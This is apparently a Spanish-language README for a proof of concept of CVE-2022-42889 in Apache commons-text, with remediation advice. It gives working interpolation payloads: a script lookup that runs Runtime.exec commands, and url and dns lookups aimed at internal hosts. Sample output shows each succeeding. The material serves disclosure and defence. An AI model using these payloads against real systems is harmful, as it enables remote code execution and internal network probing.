
Prueba de concepto para la vulnerabilidad CVE-2022-42889 de Apache commons-text.
Esto es una Prueba de Concepto para la vulnerabilidad CVE-2022-42889. Este código ejecutará el código JavaScript 195 + 324. Si es vulnerable, la salida debería ser:
PoC Output: 519
Para poder ejecutar esto necesitarás:
Cuando se te solicite una cadena de explotación, puedes proporcionar tu propia cadena de explotación (y pulsar Enter para introducir la cadena), o simplemente pulsar Enter para usar la cadena de explotación predeterminada ${script:javascript:195 + 324}.
Alternativamente, puedes usar Docker para poder ejecutar este PoC:
docker build -t poc .
docker run -it poc
El problema surge del hecho de que las siguientes claves no deberían ser interpoladas por defecto (según la documentación https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/lookup/StringLookupFactory.html):
scriptdnsurlEsta búsqueda permite que se ejecute el código JavaScript suministrado. El resultado es la capacidad de un atacante de poder ejecutar código arbitrario en el sistema.
${script:<motor>:<código>}
${script:javascript:java.lang.Runtime.getRuntime().exec('mkdir poc-test')}
Ejemplo en el PoC:
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}
Warning: Nashorn engine is planned to be removed from a future JDK release
===================================================================================================================
Exploiting PoC with the exploit string '${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
Process[pid=67, exitValue=0]
===================================================================================================================
Esta búsqueda llama a la url especificada. Un atacante podría aprovechar esto para poder realizar peticiones GET básicas a recursos internos.
${url:<codificación-de-caracteres>:<url>}
${url:UTF-8::https://internal-jenkins.companyx.net/}
Ejemplo en el PoC:
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${url:UTF-8:https://www.google.com/}
===================================================================================================================
Exploiting PoC with the exploit string '${url:UTF-8:https://www.google.com/}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en-GB"><head>
....
</body></html>
===============================================================================================
Esta búsqueda realiza una consulta DNS, o una búsqueda inversa. Esto podría permitir a un atacante poder identificar recursos internos.
${dns:<dirección,nombre-canónico,nombre>|<host>}
${dns:address|internal-jenkins.companyx.net}
Ejemplo en el PoC:
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${dns:address|www.google.com}
===================================================================================================================
Exploiting PoC with the exploit string '${dns:address|www.google.com}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
142.250.200.4
===================================================================================================================
Sin embargo, debido a un fallo en la lógica, estas 3 claves se interpolan por defecto, cuando no deberían (ya que podrían representar un riesgo de seguridad).
Un atacante con control sobre la cadena pasada a un reemplazo StringSubstitutor afectado podría permitir al atacante:
StringSubstitutorPara que tu código sea vulnerable necesitas:
Estar ejecutando una versión de Apache commons-text desde la versión 1.5.0 hasta (sin incluir) 1.10.0
Usar Interpolación para tu StringSubstitution (ver https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html)
Ten en cuenta que en JDK 15 y posteriores, el motor JavaScript Nashorn ya no está incluido. Sin embargo, el motor JEXL todavía está incluido y, como resultado, el RCE aún puede ser posible.
(gracias a rgmz por señalar esto)
La solución es actualizar tus instancias de commons-text a las versiones 1.10.0 o posteriores.
Las otras búsquedas predeterminadas aún podrían representar un riesgo de seguridad (como la capacidad de leer el contenido de archivos, leer propiedades del sistema, etc.). Usa esta funcionalidad con precaución y asegúrate de que toda la entrada del usuario esté adecuadamente saneada (por ejemplo, pasándola a través de una lista de permitidos).